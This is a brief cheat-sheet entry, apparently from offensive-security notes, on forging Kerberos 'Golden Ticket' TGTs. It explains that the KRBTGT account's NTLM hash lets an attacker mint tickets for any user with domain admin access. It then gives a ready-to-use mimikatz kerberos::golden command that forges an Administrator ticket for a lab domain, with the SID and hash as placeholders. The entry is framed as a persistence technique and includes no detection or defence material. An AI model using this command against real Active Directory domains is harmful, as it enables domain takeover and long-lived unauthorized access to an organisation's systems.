Golden Ticket
Forging Kerberos TGTs for ultimate persistence.
Overview
A Golden Ticket is a forged Ticket Granting Ticket (TGT). If an attacker gets the NTLM hash of the KRBTGT account, they can create valid TGTs for any user, providing domain admin access.
Forging the Ticket
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-... /krbtgt:HASH /id:500